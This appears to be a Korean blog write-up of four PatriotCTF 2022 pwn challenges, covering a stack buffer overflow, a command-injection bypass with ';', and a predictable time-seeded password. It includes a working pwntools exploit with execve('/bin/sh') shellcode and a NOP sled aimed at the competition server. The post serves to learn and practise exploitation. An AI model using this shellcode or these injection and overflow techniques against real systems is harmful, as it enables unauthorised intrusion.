현재 소속되어있는 있는 팀인 APT0에서 정기적으로 CTF에 참여하고 있는데 코드게이트 예선, zero0pts CTF, Line CTF, Plaid CTF등을 참여했었다.
하지만 너무 포너블 문제들이 어려워서 한 문제도 못푼 경우가 허다하다.(진짜 갈길이 멀다는걸 항상 느낀다....)
이번에 참가한 CTF는 쉬운 문제들이 몇개 있어서 푼 문제들 Write-up을 써보려고 한다.
1.Bof Warmup
문제 이름에서 알 수 있듯이 제일 쉬운 문제다.
unsigned __int64 __fastcall print_name(_DWORD *test)
{
size_t len; // [rsp+18h] [rbp-98h]
char s[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+A8h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Enter your name: ");
fflush(_bss_start);
fgets(s, 1000, stdin);
len = strlen(s);
s[len - 1] = 0;
if ( *test )
shell();
else
printf("Hi %s!\n", s);
return __readfsqword(0x28u) ^ v4;
}
int shell()
{
puts("Opening shell...");
return execve("/bin/sh", 0LL, 0LL);
}
print_name함수로 넘어오는 test인자의 값이 1이라면 shell을 띄워준다.
gdb로 뜯어보면 test 인자에서 참조하는 주소인 0x00007fffffffde84 에 있는 값을 바꾸면 쉘이 뜬다는 것을 알 수 있다.
pwntools로 값을 보내면 아무명령도 안먹히는데 이유를 모르겠음 ㅜㅜ
그냥 nc로 값을 마구 보내면 쉘이 따진다 ㅋㅋ
Flag : flag{I_B3t_Th@t_W@s_2_E@sy!!!555}
2. Green Shell
제목에서 알 수 있듯이 뭔가 쉘쪽 문제일거 같다.
메인함수는 fgets로 0x100만큼 버퍼에 저장후 handle_cmd함수로 넘겨준다.
handle_cmd함수를 보면 check_cmd함수에서 우리가 입력한 값을 검증하는 것을 볼 수 있다.
이 부분이 검증 루틴인거 같은데 정확하게 어떻게 동작하는지는 모르겠음 ㅜㅜ
ls -al은 검증을 통과하는 것을 확인해서 ; 문자로 동시에 Flag출력하니 성공
Flag: PCTF{U_no_wat_tH3ysay@ll_to@sTers_toaST_T0@st}
3. BOF Harder
친절하게 소스코드를 준다..!
#include<stdio.h>
#include<stdlib.h>
// gcc -fno-stack-protector -z execstack -o bof_harder bof_harder.c
int main() {
char stack = 0;
char buf[128] = {0};
printf("This buffer overflow should be a little bit more difficult than the begginer buffer overflow.\n");
printf("%p\n", &stack);
fgets(buf, 10000, stdin);
return 0;
}
스택 주소도 출력해주고 카나리 X, 스택에 실행권한까지 주니까 쉘코드 삽입해서 리턴주소만 바꾸면 쉘이 따질거 같다.
from pwn import *
#p = process("./bof_harder")
r = remote("chal1.pctf.competitivecyber.club", 10003)
e = ELF("./bof_harder")
def slog(n, m): return success(": ".join([n, hex(m)]))
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = b"\x90" * 50
payload += shellcode
payload += b"\x90" * 47
payload += b"A" * 24
#p.recvline()
r.recvline()
stack = int(r.recvline()[:-1], 16)
slog("Address of stack", stack)
payload += p64(stack - 0x60)
#p.sendline(payload)
#p.interactive()
r.sendline(payload)
r.interactive()
오랜만에 pwntools쓰니까 많이 헷갈리고 코드도 좀 더러운거 같다...ㅋㅋㅋㅋㅋ
Flag: flag{A_Littl3_B!t_H@rder11??}
4. Guess The Pass
이 문제는 풀지는 못했는데 생각에 남아서 쓴다.
gen_pass함수로 랜덤 문자열을 생성
guess_pass함수로 값 검증후에 쉘을 실행시켜 준다.
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main(){
char buf[256];
int i = 0;
srand(time(0));
for(i = 0; i< 255; i++){
int a = rand();
(char)(buf + i) = (char)a + (char)(a / 0x5e) * -0x5e + ' ';
}
buf[256] = 0;
printf("%s\n", buf);
}
time()으로 시드를 주기때문에 나도 똑같은 값으로 랜덤 문자열을 만들어서 날려주면 되겠다고 생각했다.
익스가 성공하기는 하는데 명령어가 안먹음 ㅜㅜ
https://github.com/MasonCompetitiveCyber/PatriotCTF2022-Public/tree/main/Pwn/guessthepass
공식 write-up을 보면 다르게 풀긴하는데 왜그런지는 잘 모르겠다...ㅠㅠ
'CTF' 카테고리의 다른 글
DEFCON 31 Qual (0) | 2023.07.03 |
---|---|
Plaid CTF 2023 (0) | 2023.07.03 |
Dice CTF 2023 (0) | 2023.07.03 |
San Diego CTF 2022 Write-Up (0) | 2022.05.09 |
24회 해킹 캠프 CTF write-up (0) | 2022.02.20 |